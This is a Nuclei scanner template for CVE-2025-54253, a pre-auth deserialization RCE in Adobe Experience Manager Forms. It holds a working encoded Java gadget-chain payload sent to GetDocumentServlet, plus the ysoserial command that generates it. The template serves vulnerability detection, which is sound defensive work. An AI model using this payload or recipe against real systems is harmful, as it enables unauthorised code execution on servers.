Adobe Experience Manager Forms - Insecure Deserialization

id: CVE-2025-54253

info:
  name: Adobe Experience Manager Forms - Insecure Deserialization
  author: ritikchaddha,DhiyaneshDK,s4e-io
  severity: critical
  description: |
    Adobe Experience Manager versions 6.5.23 and earlier are affected by a Misconfiguration vulnerability that could result in arbitrary code execution. An attacker could leverage this vulnerability to bypass security mechanisms and execute code. Exploitation of this issue does not require user interaction and scope is changed.
  impact: |
    Attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version beyond 6.5.23.
  reference:
    - https://slcyber.io/assetnote-security-research-center/struts-devmode-in-2025-critical-pre-auth-vulnerabilities-in-adobe-experience-manager-forms/
  metadata:
    verified: true
    max-request: 1
    note: |
      Deserialization payload for blind RCE detection using ysoserial
      java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "pwd" | gzip | base64 -w0
  tags: cve,cve2025,aem,adobe,rce,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /lc/libs/livecycle/core/content/login.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, "<title>Adobe Experience Manager forms</title>")
        internal: true

  - raw:
      - |
        GET /FormServer/servlet/GetDocumentServlet?serDoc={{url_encode('H4sIAOPj/2gAA61WT0wcVRj/vV1g6Hah0JYCrbX0Dxao3WkLpdQlYgFbVqcWBdvDHjZvZ58wdXZmOvNGFg8ePHk1evFoYvRgeyAx2ngw8erNxJPGxMTEg4l6qAeTxj/fmxlYyp9CK5vsvDff+77f9/d939z+DY2Bj86b/A2eC6Vl56Z9y/UtufhyKELx/vdnPrs/9vZSGqkCGgLrTWEgY7pVj/tcur7EAUNJ6kpSn1ih52segBQBn3L9uRz3uDkvciRXdZ0gVxbcUQJBbpx2damfP3zn1+DYR1MppB7QcgtvgRlo9nzXE75clNgba7W5M6fPSN9y5kgjaRvbQJvp2rYwpRXvlzGDXKK3bIu6Bff//KD3rrN0IQXUPIk2N5ReKKdjvZYIFhrIrTQp6l+lqMbJjlwtsKWZkz6v5WZF1bO5FEGB1l03rn3t3P50MA2tgJaS5VSEI18Kq2XhF9BaIgEnsIUsEL1mYHeJh7UJmweBCCQGDFKjx2r0SI0eqdH90JFWVehTPJiXyoV8EZlSeVEK060oyXSxOF5EU8lUUBSv4qqARfB5A40lh1eFCm6DgfbSWl8fzG2dHucW/9LPC/1I04t/d3fMzf0Qh00lnuip4vjte51/NTXP/pSQm7795p8vv6LjcxjNII1jGi5o6NXwFENbIHyL29eFH1CiXi1MMrAXGFomKGuSO/I6t0PReKfnvXvv/vjHswxNo5ZjSdqk+/qvMzRMkNsMewzLEXFsZ1VUGBWKaxIsJ3B6T4gNct4KGPbNyLA8m8R/mi/aLq8wZAuOI/wkBQznjcXAjY3TvZgniCNyhVfmhAxObICSZ9gVJfY1168y+H0GFZ4ehI6+Lp+WI4XvEHic2MlrV/PFDbmrdp03tocuo6/PJFuuCnyKOxVb+HkVkuaKa4ZVqjWG04+knkTnYxxyf/z/G8OQeb5mCi+6gRpOMnz8aPHY0oKKrOqTs1cv1aygQKSoAe1MDK0ETtXB41jBoCWxZLi0E5GccUPfFJctVcbZpAJz6pZmkcFuDX0Mg49RsAzPbTcjy63nUjmgEjflMhLD/qhbWG7d+Oi2Xdwu8jLSSrUwHNnCF0rRqGknraC93uJeiY3UMEAxI8bknaGjr99Yx5bP4mmczuAUctRQvIVKM85QlxA1YTKc7Fs/a1ZjUGM0BfXTLLW1QYUxRG1rRnLz9avcSxrO4bob0wvUXYaGzw0PDZ8dGhkZPj8ySG4aD2WgxK8P3sOzoeFiBs/gGI4iRSt5Q/+DaEQTrZpq0WiOaFQ19MwSRaeV0do48AXySxFLCz2bIqKOVnpmYwbswQit1EGxn7iU8Jiai4q2VnAoEuyJDxNBtevAgeicoRNdJNFN+9hGBXsogS1E1A1gRyLYgfhwQ9gncJgk1O5JHCH1dQXN6F9x+gSdKK49nyDNjLvQ9579HOdvLEWCw5FTTHH0RPqPop3WDB2lcBxt2BWq6Uk09t3KaDukRluHhk4NXRq6tzvabv1i/T5avdK1M6Mtfdl1142y3i1HGUltp8kcZDi+DShyvX5NrpVv0kfYpk1iq4se1XF6kzpmm9bxuroZXVPHe6PzfdFz/6rsHlDZpS/ABrqOvrfAUFOZbq39B+MrHXcvCwAA')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'InvocationTargetException')
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100b6296805a52fcaa2257d975c5115eae9f9632da9cd3b6328140f5b37e01770a30220382fc43fa22cc41113e46548c8424a623086863162a40a878a02ba05643191ce:922c64590222798bb761d5b6d8e72950